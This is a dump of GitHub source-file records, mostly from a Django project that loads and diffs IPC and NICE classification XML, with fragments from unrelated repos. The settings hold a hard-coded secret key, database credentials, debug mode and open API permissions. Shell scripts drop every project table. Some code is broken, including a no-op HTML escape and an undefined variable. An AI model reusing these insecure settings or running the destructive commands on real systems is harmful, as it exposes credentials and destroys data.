"text": "from lxml.html.diff import htmldiff\nfrom django.db import models\nfrom django.db.models import Q\nfrom mptt.models import MPTTModel, TreeForeignKey\n\n\nclass AbstractType(models.Model):\n name = models.CharField(max_length=128)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n abstract = True\n\n\nclass Doctype(AbstractType):\n pass\n\n\nclass AttributeType(AbstractType):\n doctype = models.ForeignKey('Doctype', related_name='attribute_types')\n is_main = models.BooleanField(default=False)\n skip = models.BooleanField(default=False)\n\n class Meta:\n unique_together = ('doctype', 'name')\n index_together = [['doctype', 'name']]\n ordering = ['name']\n\n\nclass ElementType(AbstractType):\n doctype = models.ForeignKey('Doctype', related_name='element_types')\n attributes = models.ManyToManyField('AttributeType', related_name='element_types', blank=True)\n required_attr = models.ManyToManyField('AttributeType', blank=True)\n is_main = models.BooleanField(default=False)\n is_mixed = models.BooleanField(default=False)\n\n class Meta:\n unique_together = ('doctype', 'name')\n index_together = [['doctype', 'name']]\n ordering = ['name']\n\n\nclass Dataset(models.Model):\n doctype = models.ForeignKey('Doctype', related_name='datasets')\n name = models.CharField(max_length=8) # e.g. IPC Version\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n unique_together = ('doctype', 'name')\n index_together = [['doctype', 'name']]\n\n\nclass Attribute(models.Model):\n type = models.ForeignKey('AttributeType', related_name='attribute_instances')\n value = models.CharField(max_length=128)\n\n def attr_html(self):\n cls = ''\n if self.type.is_main:\n cls = ' class=\"main\"'\n return '<dt>%s</dt><dd%s>%s</dd>' % (self.type.name, cls, self.value)\n\n def __unicode__(self):\n return self.type.name\n\n class Meta:\n unique_together = ('type', 'value')\n index_together = [['type', 'value']]\n ordering = ['type__name']\n\n\nclass Translation(models.Model):\n text = models.ForeignKey('Text', related_name='translations')\n lang = models.CharField(max_length=2)\n contents = models.TextField()\n\n def texts_html(self):\n return self.contents.replace('<', '<')\n\n def __unicode__(self):\n return self.lang\n\n\nclass Text(models.Model):\n doctype = models.ForeignKey('Doctype', related_name='texts')\n name = models.CharField(max_length=32)\n contents = models.TextField()\n\n def texts_html(self):\n return self.contents.replace('<', '<')\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n unique_together = ('doctype', 'name')\n index_together = [['doctype', 'name']]\n\n\nclass Element(models.Model):\n type = models.ForeignKey('ElementType', related_name='element_instances')\n text = models.ForeignKey('Text', null=True, blank=True)\n attrs_key = models.CharField(max_length=32, blank=True)\n main_attrs = models.CharField(max_length=32, blank=True)\n attributes = models.ManyToManyField('Attribute', blank=True)\n\n def attributes_html(self):\n if self.attributes.exists():\n return '<dl>%s</dl>' % ''.join(\n [a.attr_html() for a in self.attributes.all()]\n )\n return ''\n\n def values(self):\n texts = ''\n if self.text is not None and self.text.texts_html() != '':\n texts = ': ' + self.text.texts_html()\n return self.type.name + self.attributes_html() + texts\n\n def __unicode__(self):\n return self.type.name\n\n class Meta:\n unique_together = ('type', 'text', 'attrs_key')\n index_together = [['type', 'text', 'attrs_key']]\n\n\nclass Diff(models.Model):\n treenode1 = models.ForeignKey('TreeNode', related_name='tree1_diffs')\n treenode2 = models.ForeignKey('TreeNode', related_name='tree2_diffs')\n is_type_diff = models.BooleanField(default=False)\n is_texts_diff = models.BooleanField(default=False)\n is_attrs_diff = models.BooleanField(default=False)\n is_del_diff = models.BooleanField(default=False)\n is_ins_diff = models.BooleanField(default=False)\n\n class Meta:\n unique_together = ('treenode1', 'treenode2')\n index_together = [['treenode1', 'treenode2']]\n ordering = ['treenode2']\n\n\nclass TreeNode(MPTTModel):\n parent = TreeForeignKey('self', null=True, blank=True, related_name='children')\n fingerprint = models.CharField(max_length=32)\n element = models.ForeignKey('Element', related_name='treenodes')\n dataset = models.ForeignKey('Dataset', related_name='treenodes')\n is_diff_only = models.BooleanField(default=False)\n\n def lazy_children(self):\n children = self.get_children().select_related(\n 'element'\n ).prefetch_related(\n 'element__attributes'\n )\n if not self.element.type.is_main:\n # Return all children because current node is not lazy\n return children\n # Return children which element type is different than parent one\n return children.exclude(parent__element__type=self.element.type)\n\n def is_container(self):\n if self.is_leaf_node():\n return False\n return True\n\n def expanded(self):\n if self.element.type.is_main or self.is_root_node():\n return False\n return True\n\n def text_diff(self):\n diffs = self.tree2_diffs.filter(is_texts_diff=True)\n if diffs.exists():\n diff = diffs.first()\n return htmldiff(\n diff.treenode1.element.text.texts_html(),\n diff.treenode2.element.text.texts_html()\n )\n return None\n\n def attrs_diff(self):\n diffs = self.tree2_diffs.filter(is_attrs_diff=True)\n if diffs.exists():\n diff = diffs.first()\n return htmldiff(\n diff.treenode1.element.attributes_html(),\n diff.treenode2.element.attributes_html()\n )\n return None\n\n def diff_kind(self):\n diffs = self.tree2_diffs.filter(\n Q(is_texts_diff=True) | Q(is_attrs_diff=True) | Q(is_type_diff=True)\n )\n if diffs.exists():\n return 'mod'\n\n diffs = self.tree2_diffs.filter(is_del_diff=True)\n if diffs.exists():\n return 'del'\n\n diffs = self.tree2_diffs.filter(is_ins_diff=True)\n if diffs.exists():\n return 'ins'\n\n return None\n\n def __unicode__(self):\n return self.element.type.name\n"
},
{
"alpha_fraction": 0.5208333134651184,
"alphanum_fraction": 0.6944444179534912,
"avg_line_length": 13.399999618530273,
"blob_id": "ec0bd796d2e7fa0abe0c762b439d88c429de97e3",
"content_id": "d34f217409b5cd9ef0cc0b3cc9ccaf9c709e0d14",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 288,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 20,
"path": "/bin/requirements.txt",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "Django==1.8.6\nMySQL-python==1.2.5\nlxml==3.5.0\n\ndjangorestframework==3.3.1\nMarkdown==2.6.4\nPygments==2.0.2\ndjango-filter==0.11.0\n\ndjango-mptt==0.7.4\ndjango-mptt-admin==0.3.0\n\nSPARQLWrapper==1.5.2\nrdflib==4.1.0\n\nargparse==1.2.1\nhtml5lib==0.95\nisodate==0.4.9\npyparsing==2.0.1\nwsgiref==0.1.2\n"
},
{
"alpha_fraction": 0.6171371936798096,
"alphanum_fraction": 0.6212233901023865,
"avg_line_length": 32.790794372558594,
"blob_id": "b673335a93b6853a1314ab49c1d4041f4cd7bcc7",
"content_id": "9e3415d3fe644ccc0ce1966a032aaa486b4c849f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8076,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 239,
"path": "/project/app_main/settings.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "\"\"\"\nDjango settings for app_main project.\n\nGenerated by 'django-admin startproject' using Django 1.8.6.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.8/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.8/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '8mux_k*i_i2hbp5kqii6ne^v!$ze^^sh$454397ni%np3b5_%l'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nALLOWED_HOSTS = []\n\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'mptt',\n 'django_mptt_admin',\n 'rest_framework',\n 'app_operations',\n #'app_scheme',\n 'app_tree'\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n)\n\nROOT_URLCONF = 'app_main.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'app_main.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.6/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n # 'ENGINE': 'django.db.backends.sqlite3',\n # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'tree',\n 'USER': 'tree',\n 'PASSWORD': 'tree',\n # 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n # 'NAME': 'classifactory',\n # 'USER': 'classifactory',\n # 'PASSWORD': 'c',\n }\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'Europe/Zurich'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = False\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\nSTATIC_ROOT = os.path.join(BASE_DIR, 'static')\nSTATIC_URL = '/static/'\n\ntry:\n # Heroku specific settings\n import dj_database_url\n DATABASES['default'] = dj_database_url.config()\n STATIC_ROOT = 'staticfiles'\n STATICFILES_DIRS = (\n os.path.join(BASE_DIR, 'app_tree', 'static'),\n )\nexcept:\n pass\n\n# Dependencies settings\n\nREST_FRAMEWORK = {\n # Use hyperlinked styles by default.\n # Only used if the `serializer_class` attribute is not set on a view.\n 'DEFAULT_MODEL_SERIALIZER_CLASS': 'rest_framework.serializers.HyperlinkedModelSerializer',\n\n # Use Django's standard `django.contrib.auth` permissions,\n # or allow read-only access for unauthenticated users.\n 'DEFAULT_PERMISSION_CLASSES': [\n 'rest_framework.permissions.AllowAny'\n ]\n}\n\n# Project settings\n\nDATA_DIR = os.path.join(BASE_DIR, '..', 'data')\n\nDEPTHS = 'stcugm123456789AB'\n\nfrom string import Template\nDOCTYPES = {\n 'ipc_scheme': {\n 'data_path': Template('ITOS/IPC/data/$version/ipcr_scheme_and_figures'),\n 'zip_name': Template('ipcr_scheme_$version$release.zip'),\n 'xml_name': Template('ipcr_scheme_$version$release.xml'),\n 'root': 'ipcEdition',\n 'main_elts': ['revisionPeriods', 'ipcEntry'],\n 'remove_elts': ['fr'],\n 'main_attrs': ['symbol', 'kind'],\n 'skip_attrs': ['edition'],\n 'remove_attrs': ['lang', 'ipcLevel', 'priorityOrder', 'documentRoot'],\n 'remove_attrs_val': [],\n 'mixed_elts': ['text', 'references', 'entryReference'],\n 'container_elts': [\n 'revisionPeriods', 'revisionPeriod', 'ipcEdition', 'en', 'fr',\n 'translation', 'staticIpc', 'ipcEntry', 'textBody', 'note', 'index',\n 'title', 'noteParagraph', 'text', 'references', 'subnote', 'orphan',\n 'indexEntry', 'titlePart', 'entryReference'\n ]\n },\n 'nice_indications': {\n 'data_path': Template('ITOS/NICE/data/$version/indications'),\n 'zip_name': Template('$version-indications-$release.zip'),\n 'xml_name': Template('$version-$lang-indications-$release.xml'),\n 'root': 'nice:Indications',\n 'main_elts': ['nice:Indications', 'nice:GoodOrService'],\n 'remove_elts': [],\n 'main_attrs': ['basicNumber', 'dateInForce'],\n 'skip_attrs': [],\n 'remove_attrs': ['xsi:schemaLocation'],\n 'remove_attrs_val': [],\n 'mixed_elts': [\n 'nice:Label', 'nice:SortExpression',\n 'nice:AlternateSortExpression'\n ],\n 'container_elts': [\n 'nice:Indications', 'nice:GoodOrService', 'nice:Indication',\n 'nice:SynonymIndication', 'nice:Label',\n 'nice:SortExpression', 'nice:AlternateSortExpression'\n ]\n },\n 'nice_information_files': {\n 'data_path': Template('ITOS/NICE/data/$version/information_files'),\n 'zip_name': Template('$version-information_files-$release.zip'),\n 'xml_name': Template('$version-$lang-information_files-$release.xml'),\n 'root': 'nice:InformationFiles',\n 'main_elts': [\n 'nice:InformationFiles', 'nice:ClassAnalysis',\n 'nice:HierarchyGroupAnalysis', 'nice:GoodOrService'\n ],\n 'remove_elts': [],\n 'main_attrs': ['classNumber', 'groupNumber', 'basicNumber', 'dateInForce'],\n 'skip_attrs': [],\n 'remove_attrs': ['xsi:schemaLocation'],\n 'remove_attrs_val': [],\n 'mixed_elts': [\n 'nice:P', 'nice:ClassificationCriteria', 'nice:Label', 'nice:Comment'\n ],\n 'container_elts': [\n 'nice:InformationFiles', 'nice:Classes', 'nice:ClassAnalysis',\n 'nice:GoodsAndServices', 'nice:GoodOrService',\n 'nice:HierarchyGroup', 'nice:HierarchyGroupAnalysis',\n 'nice:Definition', 'nice:DefinitionText', 'nice:DefinitionIllustrations',\n 'nice:ClassificationCriteria',\n 'nice:RelatedExamples', 'nice:RelatedItem', 'nice:Label', 'nice:Comment'\n 'nice:P'\n ]\n },\n 'nice_classes': {\n 'data_path': Template('ITOS/NICE/data/$version/class_headings_and_explanatory_notes'),\n 'zip_name': Template('$version-class_headings_and_explanatory_notes-$release.zip'),\n 'xml_name': Template('$version-$lang-class_headings_and_explanatory_notes-$release.xml'),\n 'root': 'nice:ClassHeadingsExplanatoryNotes',\n 'main_elts': ['nice:ClassHeadingsExplanatoryNotes', 'nice:Class'],\n 'remove_elts': [],\n 'main_attrs': ['classNumber', 'dateInForce'],\n 'skip_attrs': [],\n 'remove_attrs': ['xsi:schemaLocation'],\n 'remove_attrs_val': [],\n 'mixed_elts': [\n 'nice:HeadingItem', 'nice:Introduction',\n 'nice:Include', 'nice:Exclude'\n ],\n 'container_elts': [\n 'nice:ClassHeadingsExplanatoryNotes', 'nice:Class', 'nice:ClassHeading',\n 'nice:ExplanatoryNote', 'nice:IncludesInParticular',\n 'nice:ExcludesInParticular', 'nice:HeadingItem',\n 'nice:Introduction', 'nice:Include', 'nice:Exclude'\n ]\n }\n}\n"
},
{
"alpha_fraction": 0.5686653852462769,
"alphanum_fraction": 0.5705996155738831,
"avg_line_length": 23.619047164916992,
"blob_id": "03df297fa3d46f80ba93f200e805410f22b42203",
"content_id": "c529f2c36110df5a31990f5159a876144b62ca77",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 517,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 21,
"path": "/project/app_operations/management/commands/load_version.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.core.management.base import BaseCommand, CommandError\nfrom optparse import make_option\nfrom _ipc_load import load\n\nclass Command(BaseCommand):\n args = ''\n help = 'Load an IPC Version'\n\n option_list = BaseCommand.option_list + (\n make_option(\n \t'--CPC',\n action='store_true',\n dest='cpc',\n default=False,\n help='Process CPC data'\n ),\n )\n\n def handle(self, *args, **options):\n cpc = options['cpc']\n load(args[0])\n"
},
{
"alpha_fraction": 0.7573487162590027,
"alphanum_fraction": 0.7965418100357056,
"avg_line_length": 39.348838806152344,
"blob_id": "646cc95e4aecee9d8e9632603e13a055ecf8ea5a",
"content_id": "0897ab32d3a7d6a1a689521c5bd4bb3c61d8ae79",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1735,
"license_type": "no_license",
"max_line_length": 110,
"num_lines": 43,
"path": "/reset_pgsql_db.sh",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "psql -q classifactory classifactory <<EOF\nDROP TABLE app_tree_elementtype_attributes CASCADE;\nDROP TABLE app_tree_elementtype_required_attr CASCADE;\nDROP TABLE app_tree_doctype CASCADE;\nDROP TABLE app_tree_attributetype CASCADE;\nDROP TABLE app_tree_text CASCADE;\nDROP TABLE app_tree_attribute CASCADE;\nDROP TABLE app_tree_elementtype CASCADE;\nDROP TABLE app_tree_element_texts CASCADE;\nDROP TABLE app_tree_element_attributes CASCADE;\nDROP TABLE app_tree_element CASCADE;\nDROP TABLE app_tree_dataset CASCADE;\nDROP TABLE app_tree_diff CASCADE;\nDROP TABLE app_tree_treenode CASCADE;\nDROP TABLE app_tree_translation CASCADE;\nDROP TABLE app_scheme_concept CASCADE;\nDROP TABLE app_scheme_definition CASCADE;\nDROP TABLE app_scheme_reference CASCADE;\nDROP TABLE django_admin_log CASCADE;\nDROP TABLE django_content_type CASCADE;\nDROP TABLE django_migrations CASCADE;\nDROP TABLE django_session CASCADE;\nDROP TABLE auth_group CASCADE;\nDROP TABLE auth_group_permissions CASCADE;\nDROP TABLE auth_permission CASCADE;\nDROP TABLE auth_user CASCADE;\nDROP TABLE auth_user_groups CASCADE;\nDROP TABLE auth_user_user_permissions CASCADE;\nEOF\n./venv/bin/python project/manage.py migrate\n\necho 'Loading ipc_scheme 20170101...'\n./venv/bin/python -m cProfile -o load.stats project/manage.py load_xml ipc_scheme 20170101 en --xml\n./venv/bin/gprof2dot -f pstats load.stats | dot -Tpng -o load1.png\necho\n\necho 'Loading ipc_scheme 20160101...'\n./venv/bin/python -m cProfile -o load.stats project/manage.py load_xml ipc_scheme 20160101 en --xml --no_types\n./venv/bin/gprof2dot -f pstats load.stats | dot -Tpng -o load2.png\n\necho\necho 'Diffing ipc_scheme 20160101 and 20170101...'\n./venv/bin/python project/manage.py diff_trees ipc_scheme 20160101 20170101 en --xml\n"
},
{
"alpha_fraction": 0.6184210777282715,
"alphanum_fraction": 0.6327751278877258,
"avg_line_length": 58.78571319580078,
"blob_id": "7f1e1b078105b33cd2286a97d768218e1db09889",
"content_id": "698a9036cc9e88ab00195a1e55188bf05c844094",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 836,
"license_type": "no_license",
"max_line_length": 119,
"num_lines": 14,
"path": "/project/app_tree/urls.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.conf.urls import url\nimport views\n\nurlpatterns = [\n url(r'^elements/$', views.element_list),\n url(r'^elements/(?P<pk>[0-9]+)/$', views.element_detail),\n url(r'^elements/fancy/$', views.home, name='home'),\n url(r'^elements/fancy/(?P<mode>(table|tree))/$', views.mode, name='mode'),\n url(r'^elements/fancy/roots/$', views.element_fancy_roots, name='roots'),\n url(r'^elements/fancy/ancestors/(?P<pk>[0-9]+)/$', views.element_fancy_ancestors, name='ancestors'),\n url(r'^elements/fancy/search/(?P<query>[0-9A-Za-z@=_:! ]+)/$', views.element_fancy_search, name='search'),\n url(r'^elements/fancy/(?P<mode>(table|tree))/(?P<pk>[0-9]+)/$', views.element_fancy_children, name='children'),\n #url(r'^elements/fancy/diffs/(?P<doctype_name>[a-z_]+)/(?P<dataset_name>[0-9]{1,8})/$', views.diffs, name='diffs'),\n]"
},
{
"alpha_fraction": 0.6995515823364258,
"alphanum_fraction": 0.7847533822059631,
"avg_line_length": 40.8125,
"blob_id": "94876ff2cb924fcf4b1623d822cd9d48292ba65e",
"content_id": "d638f54f29db30b21e71f32e6002f0e4955f76ec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1338,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 32,
"path": "/reset_mysql_db.sh",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "mysql -utree -ptree tree <<EOF\nSET FOREIGN_KEY_CHECKS = 0;\nDROP TABLE IF EXISTS app_tree_elementtype_attributes;\nDROP TABLE IF EXISTS app_tree_elementtype_required_attr;\nDROP TABLE IF EXISTS app_tree_doctype;\nDROP TABLE IF EXISTS app_tree_attributetype;\nDROP TABLE IF EXISTS app_tree_text;\nDROP TABLE IF EXISTS app_tree_attribute;\nDROP TABLE IF EXISTS app_tree_elementtype;\nDROP TABLE IF EXISTS app_tree_element_texts;\nDROP TABLE IF EXISTS app_tree_element_attributes;\nDROP TABLE IF EXISTS app_tree_element;\nDROP TABLE IF EXISTS app_tree_dataset;\nDROP TABLE IF EXISTS app_tree_diff;\nDROP TABLE IF EXISTS app_tree_treenode;\nSET FOREIGN_KEY_CHECKS = 1;\nEOF\n./venv/bin/python project/manage.py syncdb\necho 'Loading ipc_scheme 20150101...'\n./venv/bin/python project/manage.py load_xml ipc_scheme 20150101 en --xml\necho\necho 'Loading ipc_scheme 20140101...'\n./venv/bin/python project/manage.py load_xml ipc_scheme 20140101 en --xml --no_types\necho\necho 'Loading nice_classes 20150101...'\n./venv/bin/python project/manage.py load_xml nice_classes 20150101 en 20141215 --xml\necho\necho 'Loading nice_indications 20150101...'\n./venv/bin/python project/manage.py load_xml nice_indications 20150101 en 20141219 --xml\necho\necho 'Diffing ipc_scheme 20140101 and 20150101...'\n./venv/bin/python project/manage.py diff_trees ipc_scheme 20140101 20150101\n"
}
] | 29 |
maoforero/pits | https://github.com/maoforero/pits | 1c3f1bd389f803465e3d215434a185de9a552a1b | e7c1c37f086a3e514d54e07290265766b25c6b6f | 7d99709eb3842204288cee548a90de8ed3e6a7fc | refs/heads/main | 2023-08-23T01:53:14.338005 | 2021-10-13T22:14:12 | 2021-10-13T22:14:12 | 416,894,411 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7465753555297852,
"alphanum_fraction": 0.7465753555297852,
"avg_line_length": 23.33333396911621,
"blob_id": "5b4a09da42eda5a44e869dc21c71152cf56023ce",
"content_id": "645d61a4e5c1b08216692d87546160acadcec52c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 146,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 6,
"path": "/pits_games/pitsApp/apps.py",
"repo_name": "maoforero/pits",
"src_encoding": "UTF-8",
"text": "from django.apps import AppConfig\n\n\nclass PitsappConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'pitsApp'\n"
}
] | 1 |
Shockman1000/Unit-3 | https://github.com/Shockman1000/Unit-3 | 21f18ac4e3125fccf9f738bbb8e634ddb9c2f4bb | 384ee39291b9544783371ab981ca2c3ff65279c0 | 754d1aba05bfbd74188cfdd16a932f81481cb464 | refs/heads/master | 2022-12-11T10:28:05.102795 | 2020-09-07T17:39:00 | 2020-09-07T17:39:00 | 290,026,997 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5858736038208008,
"alphanum_fraction": 0.5970260500907898,
"avg_line_length": 28.2608699798584,
"blob_id": "c901246fed8630b88054052476de19f2d918a194",
"content_id": "8d9a5dd7a03cdfd544df68ba7f698d15a7d45ad4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1345,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 46,
"path": "/PyBank/Budget code.py",
"repo_name": "Shockman1000/Unit-3",
"src_encoding": "UTF-8",
"text": "import csv\nimport os\nBudget_csv = os.path.join(\"Resources\", \"budget_data.csv\")\ntxt_file = os.path.join(\"analysis\", \"budget_analysis.txt\")\n\nmonth_year_list = []\nrevenue_list = []\ntot_revenue = 0\ntot_change = 0\nchange_max = ['', 0]\nchange_min = ['', 0]\n\n\nwith open(Budget_csv) as file_in:\n reader = csv.reader(file_in)\n next(reader)\n for row in reader:\n month_year = row[0]\n revenue = float(row[1])\n month_year_list.append(month_year)\n revenue_list.append(revenue)\n tot_revenue += revenue\n\n tot_month = len(month_year_list)\n for i in range(1, len(month_year_list)):\n change = revenue_list[i] - revenue_list[i-1]\n tot_change += change\n if change > change_max[1]:\n change_max = [month_year_list[i], change]\n if change < change_min[1]:\n change_min = [month_year_list[i], change]\n change_average = tot_change / tot_month\n\noutput = (\n f\"\\nFinancial Analysis\\n\"\n f\"----------------------------\\n\"\n f\"Total Months: {tot_month}\\n\"\n f\"Total: ${tot_revenue}\\n\"\n f\"Average Change: ${change_average:.2f}\\n\"\n f\"Greatest Increase in Profits: {change_max[0]} (${change_max[1]})\\n\"\n f\"Greatest Decrease in Profits: {change_min[0]} (${change_min[1]})\\n\")\n\nprint(output)\n\nwith open(analysis_txt, \"w\") as txt_file:\n txt_file.write(output)"
},
{
"alpha_fraction": 0.5550323724746704,
"alphanum_fraction": 0.5591524243354797,
"avg_line_length": 33,
"blob_id": "fdb8282e17a8d72159474cfa8e10ca4ac510b4c5",
"content_id": "ae29dbcc6ec60c47003b8327acb1e82a313111b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1699,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 50,
"path": "/PyPoll/Polls.py",
"repo_name": "Shockman1000/Unit-3",
"src_encoding": "UTF-8",
"text": "import csv\nimport os\n\nelection_csv = os.path.join(\"PyPoll\", \"election_data.csv\")\nanalysis_output = os.path.join(\"PyPoll\", \"election_analysis.txt\")\n\nvoter_id = []\ncandidates = []\ncandidate_number = {}\nwinner_vote = 0\nresults = []\nwith open(election_csv) as file_in:\n csvreader = csv.DictReader(file_in)\n for row in csvreader:\n candidate = row['Candidate']\n voter_id.append(row['Voter ID'])\n if candidate not in candidates:\n candidates.append(candidate)\n candidate_number[candidate] = 1\n else:\n candidate_number[candidate] += 1\n total_votes = len(voter_id) # total number of votes\n candidate_percentage = {candidate : candidate_number[candidate]/total_votes \\\n for candidate in candidates}\n for item in candidate_percentage.items():\n if item[1] > winner_vote:\n winner_vote = item[1]\n winner = item[0]\nwith open(analysis_output, \"w\") as txt_file:\n election_results = (\n f\"\\n\\nElection Results\\n\"\n f\"-------------------------\\n\"\n f\"Total Votes: {total_votes}\\n\"\n f\"-------------------------\\n\")\n print(election_results)\n txt_file.write(election_results)\n\n for candidate in candidates:\n results.append(\"{}: \".format(candidate) + \\\n \"{:.1%}\".format(candidate_percentage[candidate]) + \\\n \" ({})\".format(candidate_number[candidate])) \n for line in results:\n print(line)\n txt_file.write(line)\n winner_results = (\n f\"-------------------------\\n\"\n f\"Winner : {winner}\\n\"\n f\"-------------------------\\n\")\n print(winner_results)\n txt_file.write(winner_results)"
}
] | 2 |
eduard2diaz/egresadosCINVESTAV | https://github.com/eduard2diaz/egresadosCINVESTAV | 9c9b282c1f2f504c0e370ecdf875a08ed94177b2 | 3b28d98254c18ab0349f06167354bb8f81eae31d | 278185fd977772d95a35d7e59693acce19b8677c | refs/heads/master | 2020-11-27T13:02:08.861407 | 2019-12-21T19:13:06 | 2019-12-21T19:13:06 | 229,452,974 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7469135522842407,
"alphanum_fraction": 0.7530864477157593,
"avg_line_length": 45.28571319580078,
"blob_id": "e2d57aa8b5f5a71c6450cb1107d702531d96d0c1",
"content_id": "dc148477c9652d35ece81aca58d2611a53ef5d2d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 324,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 7,
"path": "/scripts/Firebase/leerDeFirebase/main.py",
"repo_name": "eduard2diaz/egresadosCINVESTAV",
"src_encoding": "UTF-8",
"text": "#se usaron los paquetes firebase-client, python-firebase\nfrom firebase import firebase\nimport json\nfire=firebase.FirebaseApplication(\"https://egresados-dd6d8.firebaseio.com/\")\nresult = fire.get('estudiante','')\nfor obj in result:\n print(\"Identificador:\", obj,\"\\nfullName:\",result[obj][\"fullName\"], \"\\nData:\",result[obj])\n"
},
{
"alpha_fraction": 0.5138888955116272,
"alphanum_fraction": 0.5555555820465088,
"avg_line_length": 35,
"blob_id": "6118b98532927a76f343393fc85f556d21e12cfb",
"content_id": "c6c784629f4200009014b7b9dc80f31b8a6e8aa8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 72,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 2,
"path": "/scripts/local/hilospostgres/venv/lib/python3.6/site-packages/linkedin_v2/__init__.py",
"repo_name": "eduard2diaz/egresadosCINVESTAV",
"src_encoding": "UTF-8",
"text": "__version__ = '0.9.4'\nVERSION = tuple(map(int, __version__.split('.')))\n"
},
{
"alpha_fraction": 0.744027316570282,
"alphanum_fraction": 0.744027316570282,
"avg_line_length": 48,
"blob_id": "609e532a8acb6ea849347e2bc1ddcfccd9353fd5",
"content_id": "c0f5871c28eb6144bc420e2ef88b4a2a27695e2d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 293,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 6,
"path": "/scripts/local/exportar_importarDBMongo/exportar.py",
"repo_name": "eduard2diaz/egresadosCINVESTAV",
"src_encoding": "UTF-8",
"text": "import os\ndb=input(\"Escriba el nombre de la base de datos: \")#egresado\ncoleccion=input(\"Escriba el nombre de la coleccion: \")#egresado\nsalida=input(\"Escriba el nombre del fichero de salida: \")#OPCIONAL\ncadena=\"mongoexport --db \"+db+\" --collection \"+coleccion+\" --out \"+salida\nos.system(cadena)"
},
{
"alpha_fraction": 0.6826437711715698,
"alphanum_fraction": 0.689707338809967,
"avg_line_length": 32.576271057128906,
"blob_id": "fe1b43079f980d07161f16ad51bced069ee1f525",
"content_id": "ed39f00f68d71a2663dea3f807e3d619f36728b9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1983,
"license_type": "no_license",
"max_line_length": 149,
"num_lines": 59,
"path": "/scripts/local/hilospostgres/main.py",
"repo_name": "eduard2diaz/egresadosCINVESTAV",
"src_encoding": "UTF-8",
